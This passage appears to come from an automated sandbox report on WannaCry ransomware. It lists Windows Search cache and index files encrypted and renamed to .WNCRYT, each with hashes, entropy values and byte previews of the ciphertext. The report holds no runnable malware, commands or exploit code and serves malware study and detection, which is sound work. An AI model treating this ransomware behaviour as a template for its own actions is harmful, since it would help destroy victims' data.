                                      SHA1:0E129704FB6854FB4E8FFF85245009CE2CCBCA3B
                                      SHA-256:D8B788D859DC21E7D9F4CE931BC30727FFCF5BE5170B3595E45981144AFED0E4
                                      SHA-512:E475CDA47B7493A1DE072F47BA333CB640345167AAAD48522E54670A0FB7CCAEFB0FD4E7064A2705727EB6B4B0814C61B4C6583D3E91E32AD3071477236ACF90
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....&...#.y.:...:..rAH...a.N..j`...l.Xs'......P.L'..cA..S....R...W..{..u;...<...A..%r.o..g....m.Z..N....6e..%.]..)eM.n... .Dn....4n..,...H..'.....`..&;.L.Ju.C....d,........?...$.......4:.}..?.p....u.Y...cBv.5N*.7Nu..R@.(7=...Wv....l...YH...^].'K.............k.....!.....^=.Y..&<_7K......_.o......TZr....a...;3..U.6...0N.....}h.7f....."....Be... .....*...\..7];.....:T......,.....o.^"W..T.L.........".Z.;......4Ipx.Q...|.3.z.f<U.,..dk.....8{]S. qq:.?...1d{su...^vi...f...'N..W..5QZ....<......V.5...d%......_....r...:.6....Yg.i..bpy......k.........cm.L...X..c.2..L.).E.o<U.r.3@x.-0..R....M!Cv....#.../..M6.......+._I...8.u.U......=.B.._B.Z..R.....(......?b...p..g......T5~..Q.R.......#.....WR...m....v.!....su.#..V.....RP.D..Z.pu.).S..jY.U.Lu...`4.w../l...~...F..k.0.....+%...Y^.s..!.V..........x....!...;-\..3.YN+.a....p...(.'A../.............qQD.5....J.p..e...B.6..9...|)....{G......^3.....GG4.9.....}F.h.Q...`.*.a........]..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\Kkav0LMJgrxAASPcwRgUkKeF40Q.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2520
                                      Entropy (8bit):7.914926652743139
                                      Encrypted:false
                                      SSDEEP:48:bkTzJ9R5zLETg+bFX+H1A5SQ8PfwudWh49i8KcJyc3OP:oT7LGg+xuH+IYudZkAyc3w
                                      MD5:0DBDD03151EF9F4C4B609FF9DE1DE88B
                                      SHA1:E1D3D65D03588E0AE74F790D77775D9CA89CB54D
                                      SHA-256:63BB2142E00EFF52B8AFD028E613DDBD47724331ADE7D82E9232D7275943E676
                                      SHA-512:B53BABE033060607F5B08D1F38A9482C6B60CC7C5348C1D15E0B7FDF5FE9FE641CB055DD19698732F856623622596269339F28915D1B4CCC0FA7AB2E621B4B19
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....%..0..B.Fat.........1d}.._.S...Ru..H7..p.....$rC..l.uu..@YDg...l...]...yBUe...x`..m....9.W&$..@.{..&.a...POLp...Q... T..x.+#...._....+.....k....)H!....3.G.EA.u|.|..'...Z1k.S......Lg.o...C..=..>Z..T.U.!.....W.x{...|.HEKv,.d....9..v>:..1..T...{J............M_........F........z.#.nIY...%/3.N...........`q1cV...i.I........7A.....R..\...! I...uW+.D.....!W.]L#O$..Z../o..z\g............r{4.u.....'o.$...........V@......M.4..p.N.L.{......m...|..........`O.Bh`S...,m..........Z.o....l....q.....T#...L."....Z0..'O.<u.Y...f..../.EY.lY.[...dA0T.5`...k.!.1... ..0S.`O..|p.;..........@FG.7.Z~Fe......x..8o..<.ox;u..i....H.r.y<..'.vRE/...(...fe.g/.}.^;....h."..........b+.uJ..7..g}....}..U.."g][....Uo......#.....g...).....zk{.O$J<..................O.kD.f.f.#.r.w....g6.r..j..@}.R......k...T....gu..P...P.X.....S....x.I/......a..!.j?FwEn.1f....yl..f.%m%.....Jn....4.E...........d......eh...2...*TL.j.~..%-;a.y/...W../.|.w........4XH.E'.._.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\PsLivNF8iJQ96s_7LCkOPcjwp8M.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):15528
                                      Entropy (8bit):7.985671094217144
                                      Encrypted:false
                                      SSDEEP:384:bufHmQKw5KsHy/mBtkHFaPCnCG/02+lDZhXkf:amQKwoY8mkwGs2sNyf
                                      MD5:C380840F4AE4DCC8CCB03199BF3AFDD4
                                      SHA1:A154AF3A7502CE81F8F3963945BD8EECF14B8145
                                      SHA-256:1BDB16AD3E9B780404E5FE235167AC20C363A3FAC142717CC51C3727C3394811
                                      SHA-512:97024516DAC6F3AFEC70AB1A3E23CA01F4D720FFF2EE1919CFC0F88BEFC09849E2B7B26B1DFB7937CCB1B38729CA295D647719159B39D06A69E16560C91507CE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....{....*.....\...H.V....A..Uq.x.B../.......-..{5{...\}....D)...,.E.J...+....E.l;..7%l...3t....N..............FJ`.<....A.s&..a.Iz..Ls..e...b..._..I..n...?....4.M.K...d.&...f...>/.-.f.w....E ..&.TS&c.....[.L....W....i...K..]..Z7....H[.S.>.Bc..;........;.......!...X.x.+.-0{.....F....).-.(J.^..2......ix..Gje\.=......Wp..*.\G.?N....hGV..L.m\..;.,YI....f...'[u;.OAcB.2H.\ ., %.55#....i.i.M;.C...-....n0.n....=.<nZE..v..&...*........5W.0....#M.y.u~.i3.2.R....[....)y..3{...b..?....>@...L...:.g..........Av..k..>.^H.0.fY....E.WZ......>....w.H...z...V.D..d.n~........+.....%....R.....=....W..W....bu.p5...&.S..LJ...f.Ect.7..W...z..*^...P...0..b....j...Hbd.V]X.=...?...<...:5P.q.#....2 .w:..R..=.......\5'..Ym.L....~n..^o....{..Cn..A.s.S9.n.R.TT...F..-.....?.....e\..<.[.C=w(.T....e....:a..+_Z...{..;E.........E.U.....xp......G.h.Q.t..........b.|...4..B?(.B.A.1......1.........@.b..ZP.V.%b.....4.f.u..r.;...W=.....d/..s5S..B9......\..y..(..~2......V..c;

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1573144
                                      Entropy (8bit):7.999899013858674
                                      Encrypted:true
                                      SSDEEP:49152:EqVqH9wpO/76NgPoBrJ/+LKaW+r47/qoKFPhiu:FVUwpGScoB1/+7Fr47QFl
                                      MD5:2157E80525DDE16DADD4EBA1E81C451B
                                      SHA1:09DB921415B201D1865C86E8204EEF08F69EAB4A
                                      SHA-256:CC2744F5CEF5B399EF91D6077C57E6B8D8A8DBB521DAB0DD2970DCC40FE9428D
                                      SHA-512:65FF114926E469EFDC1C713A99BAC4C3D114ACE6928A26F27364FE4BC351263765BC6BBB07BCCA5AC57066B64E316D9FD27F056E1DC33497C9DF5FFAF398708E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....K?H..qbZw.4.c"...8*.Ra2....U.D\.d....j.......o+v..".q...U.4...!r....h..h...3..6.4....h*.... .k...Mz.X.p..~..M...w.V.......V.D..u<....`g..?2%.n.G..r.........B...J...;...g.D.S.@6......Z...R$.PG....f.........h.[w...jF....y...=w.bE.....,....6................6..R.D..i.J5Vm2}&......*.i.L.z..[c7..K..T.m.E........'..EEJ..R....%@....H~....R.z.3.w7L...]$.]._e.+..(.r.S[......I..el17......TG....\.?|....F..e.I.OQ.>G.0.Z.c9,..J..Q.C.......].....*.....)Y....&....HW...0E3..y..6...*.....7rD...Ya<.5.aJ......4^...0j...EO/.iI.6...T<..]L.4.".-...c...u.a.hh...F`_..M.R._.?..0.F....W..O.w.%.....".}..{......R..D.oMU.......?.#....p.......I..+0 .#...;..Wtj.P..#.Fu{.-....d.U.AG;.....A'GP....?....M.d.u..{O.Ju|.P.o....?.~..{.76.....-n..F....}:./._=..1.L.2..yX...U.....).(.t.dnP"...BO..Cd...b.u..=..B......,.(..u..S%.H..+cs..f.A<.24.3L.'.....[.*...y...P.+r.3.LYD.@.&3.v.Y..S6..E.....t.c#..I$i....{...M.`~....o*.qv..)......Bc......G.XR.. ....P.u....7>4vF~...q

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2097432
                                      Entropy (8bit):7.999921659987401
                                      Encrypted:true
                                      SSDEEP:49152:9lNnh774ZuTVs2lsIyWD9EYmCcsYL2SHTjwSRyQ/Dr2zkegX:VtDTOZWX22gTjzUQ7Kw5
                                      MD5:CEBF08E806B8F3F91008B9D481D33FE6
                                      SHA1:4312A0F259D5DA98FBF6F62AAC3AF3C2298A2C5F
                                      SHA-256:FA6FB4747A04CBF7F0AE9D9A4DF74E34554DB0E70E7F59E05FA3EA7143055764
                                      SHA-512:44599A7EE9F20D281FD7FBAA4D0EABBB1E050845ADD0035A2A520C4871BB2088DDF3F7FF7351B11980F752D2190519A10B71E1FFADA88324A15ECACD9F3035EE
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....pqSpz../cj......-t..T..`.2.|<d.6.xG..c....w.....>.2.<.D.5....m..!......G3.E".E.^....Gf...=O.u....P.M...X...S..?YN...k..O...!......U.L...S....-uAA......H. .;.7.^..T`.*...v?g4....Q.t......1I....Y..*.,..?G..2l...2....q.m.(...\w.[..-G.a..VQ..=....... ........|..Jr:....2........l.aN..k...vL....b..M.?/.e..bvG..2...f......x.....J.E?v....*.X]O1...8&qlL..Yo.4..Sc-.+.!F`.9..Q...-.@.....y..}.Tp.....A!f..$v.M.}=qn....G.h>....u>tE...W.sC..d...S.....$. ..o...+0...`j.Z.!..k...O.h.I......^Y.._,.o..%..{....spw.NH.m.!..b\.`Rrg*x....).T...B.....f....w|.b.g..,.~Y)J..<....J......]...~.%.......kQ]u.>./r@6WR.N...}#..{I...hS.....=0.Q...c_..s..A-......C.*.^...V. ...c..J...o..G.J:\w..z..Uq....P[.k...[..z?g.B.O..........4]...O.?..j.U..^..hu........>[..Rc..$.+...n..,H..IB..s..UT..GZ...JYM...5... .?...PD.s..MD..oT8(.1.A-Q%..s.<..D..*.....r....+..'.....K.`l%..[.?8......W.......OXd...6.#.....sBv..w.,.)...r....-.y.=fI.t..+....x..8..6.>.-.DA.[.@.X..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c1232008-cc52-49cc-b5f1-23c1b5d7d5ac}\0.0.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47272
                                      Entropy (8bit):7.995946757004267
                                      Encrypted:true
                                      SSDEEP:768:FRxBtnh76b7N+p+syDzbtqPNO9vUM5VEIz9qNr4STRwqGa3xmRuT3kX9g0MHEmb/:F1tnh7y7Noy/btqQJ5lqNr4S929R5Cv7
                                      MD5:749C8B59F03F0C841932F0974BE874A1
                                      SHA1:6D05B51CA4377EBA35F4770D8AE8B9947FB02ECC
                                      SHA-256:4527A7CB25ABAE2A51294B61496F250231E635B8CD67764486D413727E0593E2
                                      SHA-512:3DF4041EB9867C0BF376EA0399E7CB69B59B57F420AA5ABE1CD342D3B557141A3E608B6365B86328E79D74E317A2700D92AEB0526734A3C48772FE3A1391CE4A
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....=t.&.U\..k...(.5z.X..'...!A.#..{...N......P.\V%.c.._.ZG. ...(..G..Z....,..JZ...0.........y..<T.}./vM.6V$....|...Z9.{.NwF8.k.).#.....S5B.Y....@...:..X.'.n^_..H.rEc)`C6l@..$.).}......!...3>.....a.V.......xj.....g....QK..0..*.....N..4Gl.].Ja;%l .1..K.............E.8....%.2.7m!..M....Jh?.j].....*..D..s`.........H;..../.....*....y.{...T(p=. .........T>.'.......t.)zYm.d....w7e.V3,.-.m..tFDj| .../.i.....'#i..)_....t.<...K...0.._.$..QS..d^....*...6.p.u.@...|...'g.+.q..N..R........,.9^.z.....o.r.......>.A.VQk.?L.j..+(..C..dM2.z]"..N.v.......S.Q....B$=Uk...g.&.U...Y.>..).vw.'.(..........m.x...b|.C.8.....h.F..'.6...f...(.&..s."}t...G....*.F...;....^Q.9.bF4.'.._u....YY&.....Gt..x...Y.t.....5.-F}.i..rk.ck...7U.2.1.....t.."..........Z...iQ.#.g"hC....".._.yW3h....$.[...L.x1\..T........[M..'..5.0.7...j..Ow.:GB...Q..,..X..Q...@.`..O..{......b..}.......r.C[.%T._YPR..4#+..>.o.n..zB.ms.v.d.%.....@.`}p....p...t.eC..c.....M.T.O..knm$..s.9.....*P+1

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c1232008-cc52-49cc-b5f1-23c1b5d7d5ac}\0.1.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.21000944392335
                                      Encrypted:false
                                      SSDEEP:6:bkEsTA0q6kZyvdkdGuMM7dsvPjcIBH8XJXJjzmsip5ikmRh1+DuD:bkEs8tyhuHB87cIBH2rK5ih
                                      MD5:E7F25F8F78C825578770526A0C32FDBA
                                      SHA1:694EB206CA03B6B1EF4C115AB6C12B62948D3890
                                      SHA-256:026ED2342AA74A20EAB037A250CDDED65B8B0D10BCABC60F561AE4B3E1D3546D
                                      SHA-512:9C375D911CA85975654A9EBFAEE3C2E3511820C016A09BF3A1B98A68E3A811318C94E76C9F15ACD797A214B79AD6E07B720AE3623C39E5C42056D6441B419C65
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....'..e.$X..."..T..c.bv.....e.;.:....K.M.(73g_.._..tW...J&..Ax...Z.{..;r.lu.cmt..a.e/......?dGD"\.U.F.<...g..</.~&<...,K.8.%.....7.B.w.a-....j...d.?.lL}.! H8m..h=..8[$.....}8..9....(7...e..0.:.ez_...!!..Jw=.D....$#...Y... .U)..S.,.....e`e............z..V....lq..4k

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c1232008-cc52-49cc-b5f1-23c1b5d7d5ac}\0.2.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.243040462414822
                                      Encrypted:false
                                      SSDEEP:6:bkEadjPpH3OuZUzKmV6m3diZlPGb83aRCUXI9BOwHQx2:bkEaHHUVeP8caRCUXKBOwwx2
                                      MD5:35AEE02B2B9B89CB790FFCA1B5714877
                                      SHA1:6044604537A61552B9D0938E166B4B4141FAAEF7
                                      SHA-256:A77A0C86CFA4CC0771DD0DD0311D0708A4A28CA602A5EF356384FCF8CE67B5AF
                                      SHA-512:527D57A2B7F79D93460F1EE34845DBB79904808C51B6351B7F216954F80067BC6EB7D9CA702CD9E484ED5FB672338AAA5DDE0F0AE58D407FDB336792A7DF5371
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......].s...j(.|....^....4.....'..i[&;..<.&\GP.....y...d...#. {W0..O>1.%Bp.1.yE....z[.Q..C..t7.8.=D_&..D...O.R}}......I.2..ZSGz<.....l.%$v.......e..m..F.h.f..gZBi..:.Q.F.[>.0.k.3.^..... ..=....Twe.S....g..._....F. *KW..J..,-P..q.Q.Z..l.My....5T................k......gtc..k

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c848d914-ba53-4c20-8f7c-784438ddc552}\0.0.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47272
                                      Entropy (8bit):7.995970137918115
                                      Encrypted:true
                                      SSDEEP:768:o5mJqd7m13ZjXHJl20SX1g7ksQyS2HbQoPymXCfXW3txplYbdPjukt:XMdiNZjy94tLQoahfXEJlYJSkt
                                      MD5:ED21C725E0751A1C652D1D806A1ABEC6
                                      SHA1:33C47BACCE1BFA73E2C8ED4E908C8E005E00B18E
                                      SHA-256:83D6E4AD1DA985B0A3A7BB1FD447E7B2BEDAB3683CFF8B9336B525ABEAB5D852
                                      SHA-512:3E8CC895E402A9590D87D998680774CDA4058FDAD1F1A513281F507749143847951C27D3BFAD5C0AF88FA57EC6D0F4C3C43AA0946B219A8C294DB1055E3770F4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....}.0...*^L..ZY.......f....k2......]JT.........[.U9?........U.%.T.....4.f.!f...$>tFJw;....F}.&)...Z.b...6..\4..q......dJA...f...."..>9. `?....%r........z.J..B...5..... <[.RZr....._*.."..`..%.-F.m...%...#.........M...1.....z..)...VB..b.._iv.~.............,...3Kt.e0.d3~...-.@.j6S8E>.!.l3...?....Z.5..Sc.Q.9....w.......n..cg].......q&6.o.eE.k...0...}'..v..{.......8..$.....~]k..S.N.JB.tb.B..~.f:.,65B...|.....@8...m.....D2....SKA.4S5..JHZ.|o;.l.w..;9...OAN..{....R...wS...L...o.9....,3....#.}r....'.....K35..G... ...w(.J..F[...M.....l6e.....A.=.u.n...V..A...{>z.\...0..4.....'C..e.y@d.R..r.;.....Z@n&t^(.....TX[swBT........R.~.......B..?......3...E.z ..".l.1.<xOv`...q......@f..}...].}+q..K...eVN3..#.W{.L.d.j.4.o..w....F.5.I.C..;....M"G.(.-U.r...t....cE.!.>...%,.*.S|~.BO>.(..8..H..w1.0...7=,....U..+"`.......|....a>..G....>S.=.b9P3...../.rWe.2./.......T.K..*..F.Y..O+..9.P...:u...<7j/u.....Sz..mp1AnT.}..6+.v...2....3.-.V._>..M..5.>.#.C.HE@A.....v

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c848d914-ba53-4c20-8f7c-784438ddc552}\0.1.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.289180666466514
                                      Encrypted:false
                                      SSDEEP:6:bkEsIOd6hG7+4MSJuQiEYsZw46aISOtAKOrJfRCFJ99ejdMlhwGSMXc7T0Zn:bkE2RdMi7i6Zwfvyb4P9ejCUF7TS
                                      MD5:7CDD19A7ADEC3D2588004426711916F7
                                      SHA1:9202E978C0F03C411E290740F5600DC37D3FB13B
                                      SHA-256:E72B36A2E6526DE3AC6D0ADADAF2CB370E6A42D1A895AACE14A8C3FD672EF49D
                                      SHA-512:73C16CE9FC10B62C5C4E797E60BA074570E3E5E7511B6707D9246C8DB24F9470A208482748FCF43FC52012275AA8BC8C6267224527CA5AD9394317092E0F6121
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....n.................5..F.-3,.C.@f-c.Z...M..#;.[.]...G.@..uJ.....g2B.t..:...X?..Zxd.v.M..)8M}\..x.o.j..T..+..-..../E....LxV.y..9.;U.6.(..8ef.....p..JT^...c..T......T....L.A,.N.9...4._.........._W.[.1.....Un........N3jA.0%....y....U..^.hv..`...............}&.v.ryWs$.QP6

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c848d914-ba53-4c20-8f7c-784438ddc552}\0.2.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.179679355988597
                                      Encrypted:false
                                      SSDEEP:6:bkEWDQwOWlWGlnDeHA2BZeI0fHJmwBpH+kFk8LCmHya5ilSW3g4hu0:bkEgOWlWUDeHrjeZpm47k8Ln/Yl9h7
                                      MD5:B9D99BA913CC3C4318A29E6D5D50A58C
                                      SHA1:87ED6836C2F5822CB800A80B7AD080CC788DBF7B
                                      SHA-256:6225F5C1FC3DA39502F9AB12E345205ACC88129E590FA24ECC10C8F967E6802B
                                      SHA-512:3690F786AC62765A97D81A279A7E066CA96EF341AFCEFB84CE0229A0B37B896B50AE7993EE7DAD3330459939B5F7B452A1713B91182D527FDD2B51436E33B666
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....m).66.((.@.^e...W`..z..&......o...6J...k...`...0......sGs.f..O.%..0.....I.....J.[.. ..%.v.u.:...vaU......T..g.*.Fj.X.....|.O..&...l..K...u.Z!..].0...o.C....X<..$X..-........%.Z........0D.i...gC7...1.W(.L.....Ggl.d.......9*..\1....1q...yF..W{...............$Sx.1[..F...E..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{d17da1ee-054d-4d15-97a5-4869d17ec228}\0.0.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47272
                                      Entropy (8bit):7.996816532151573
                                      Encrypted:true
                                      SSDEEP:768:LzExvcma7GXih6O5UE708NETRj7EUP+MZjoIeMYAer3Rd/8B2e2dHHQAOM:L4xH1izUE7fEdjAu+MOIk1T/V5H/OM
                                      MD5:33A69F57F1A6C5779905105FABEB221C
                                      SHA1:6EAB6D14B05F941F90607951081EAC308D72C394
                                      SHA-256:CF2A74289E05CD1FC078B7456391E713BE037FBF2267B5F8542222F60AC63634
                                      SHA-512:4AE073980721EC28D85AAF386C20EE171DB44259D315E2B0A1B6C031DC8CDCF874631E9A94DA20651ABDE40168EAFA76A26178352375D5FCDBE33F46981DD659
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!........v....9..)..t..p.LR..#Y.>...(7Q.8l.Y.(..Sj...E..f.6.Ip9......{XsAf+..d...>`.T..8.x60@.zT'...e...mg.R.U.'k.cT.!}..9...Jr..J.N..U.!...A.o.C.r..&...U!>..G.].7c..U.5.:..zDl........d...`.GPK.N.eF....."@PX..0...+T,....D....A._.....c.<....`.u..[&6.....4.............u...N/+-. .....I..C.w[..I(.........|.F..T.....dO.....e6..m&.....[.im..}...*Y..O..TS._..&...jmDR`.ARk.!.2.^gi.j. ..|.....P.Ysn.........(..0]....q.....G..P......._....e+1.._:.~._".B^.....udu..kr.P..U...A.]vm..GY...{..v{v..+x.q....YC.>.A.V./......y..a....V.%M.....3W...G......)rc&....Sj..v.....{G..rE0E.7..|..?=.I..Y.OlC.9{....P.Hc....9S...N..T.....".Xz.OPo. ?........`Q.\...?......<...L..B..q.g.......f..}..q."..q..i!....<Q..1...._9.3e....0.3.....22V.JJ...J.h..{h....5...R.7....`.L8...KH.e..j...b...zw.C.C'.L..!......7.B......?.."\9..n..F..O...q..zF.......0..j..S.!g.......~._.8:yaP..1.V.>...s.x..uX..?...f0~.m.. V.K.d.....N}...|.w.k|&.v:.M....W^.'...1._..x;..p0.*..Nd.<1-....n...p

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ea91225a-124d-44ac-a71c-a1f2683bf2a0}\0.0.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47272
                                      Entropy (8bit):7.996347818089275
                                      Encrypted:true
                                      SSDEEP:768:ES5HBJpK5u+8d7bwY2II7wGkWLywC7SAaggFjNCdqiYbNj/2nKaQokKg4WFC:d5HBJpK5u+8d7MR8leNFwdS/2songnFC
                                      MD5:03B448B446B4B7CBC38332637B1830F1
                                      SHA1:A54D4C857C30D4906B3D70F84440050174953851
                                      SHA-256:C0A968250428BEBAADEE7D180EF77F479F7F7AA21978C6DB18E84B407474E266
                                      SHA-512:28AF0540FD5266577267D493AA26AB494DB613CFEBBEAF61645E3B43DF4A30BB9DB287DE91063854C8DF157F11E366EE7CD5A309FBE84883C2A4E7D8977B64FB
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....gV..i..S!n..N...... ).C".g.JX!.E..2....1...c.....%..j.T;..4.\.=}.D.C.e...r.D'..;...........|V^.VY.....0...O...v$8.i..........*Z..X......m]..z.......F.&`D.|f...{t.H0.flg.B .....h...2...Ah....6..66.1.e.....$~.Lq.2.w.s..\.7..+..i3.R.QX.k.:.....11.W............S.....s...../....S.V....F?#=.......@..M.m..G".e... .M.XU...(..I...U.V$r/...g....V%.".Z..+..dR..O.T.....r....l..'.R.2.ed.N_..S.Bu..CV.s.k..M...p.,tY.j.....X..]@.I+2.-...z...+O^+...#n..M......+...t.@..>..........}w....+.].X..-.9.E..U....EN"i.W....U..9.U.C^Y...3..pwTE.....g..n.A.c....|-..+7..(0...~..,.5.t...(C..1e........p./Rw....u.9.G.ST.1..c.u..f". }b..%*........_D.^7.g...n..8.....b."..?.p{..y..../8.T.......I..4...qC|...YX....>...C.4.2e.kUf.......d....*W.q......UA.....@..:R.m.@.n.6..|1..N...iI.&fM..I.].p%.......Q...o*)..N..:...J....~*..6..o\.....h.._..F....N.Q....7........f.bT:.d..U,_.../......~...d.1......=.....w........m.B...l..y<.[U..@..6..P...B1x..$..gu..lgj.......:......!r

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ea91225a-124d-44ac-a71c-a1f2683bf2a0}\0.1.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.238384289713704
                                      Encrypted:false
                                      SSDEEP:6:bkEzQZHyR8gQFOaS6TQqhUlPDY4a1wV2F8A/tp2YMLay09BXDjl4/PYn:bkEzGyRRQlQEUFEX1P8A/n2QDh43Yn
                                      MD5:F3FC71A4E2E72FCCD8AAEDC7F34942AF
                                      SHA1:3C362FD1C127798362E533861B9008ACA4CF5EF3
                                      SHA-256:6C6ED19923F64A9AC54CB387FB37081B688F0362637D50E43EFDA0655AF7DFFD
                                      SHA-512:8E8CA9D0469E4CBB8A09F7F72305BC0F666179A5736F0228D64C665E1B3712A83BE630183304598659222B69A66A68F4B9DBB5D273C0DBAF60D35B095880F2FF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....>..(-.|...U}`..U.2........Ci.....6..54bx.Q....n..k.e.......j2;;.g._q|........!....~6.).b.....M.~.....a.l....@..v.K...Xl.}. ..~..YH..%e.uC....p[.h..4.b. .O..1#.....m....(..O.....S..E.M...iIO<.".,.W.M.0.V.S..S({2.B)|....bn..w...HE..\.N..Y.8...#O..J............K_..G..'%.I.@.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ea91225a-124d-44ac-a71c-a1f2683bf2a0}\0.2.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.190466879477076
                                      Encrypted:false
                                      SSDEEP:6:bkEtNx11hAgolWq3rg7ut7T+Dv4g54LI/uOPrVASlxAR:bkEtjrhABzt7T+Dv4gQImOjyaKR
                                      MD5:EDA803B0F1CF1988EF16E48263E5593C
                                      SHA1:9039E37D8779C31FFE0472FBE7EDC6990AB00933
                                      SHA-256:07F0FFAEAA9F342840EDD3B1DC8A260A9BC9C17DDDAC03130905EF8E986BB71A
                                      SHA-512:CB3D7A146C82F33477D8EDE26EB6DD36E41C8C746635E7677F2E53E9C92F9AEA8E68B2A399CDED6DF69D318EC86A23A4FF160CED819E33D7F16D85F4DB9F179A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....>R.z.k?...$.....6.w..`....<G!ig...J$v.."S.o.....HY.HZ...>..S.(....y..D'.&........7.S...?"...G4..7."....6.A..o...I.j.N...!m.R.Q..j.....r....a}`.NN%..&...$?(..r.w.n=..V~.eh.=...jk...Sx.s(2....8...f..N.....l]..M?..J.kR>.JL.J...R..f.....bX*H...yv..t...................9k..yV#..CK

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsconversions.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1426184
                                      Entropy (8bit):7.999896744608154
                                      Encrypted:true
                                      SSDEEP:24576:tEAfrBZ9uynNSyOafALXYcEokv8epEzS+/bCOzIKE5T5x3N1lT2Rq98HCCD:KmBZ1nkyOKALXYvokv8epEbuGIR3hSRd
                                      MD5:DF1971E22E49A676BF5051CCF5ADA3F8
                                      SHA1:975B9973391BFD47ED00B18C97D2BD5FDFE91E5D
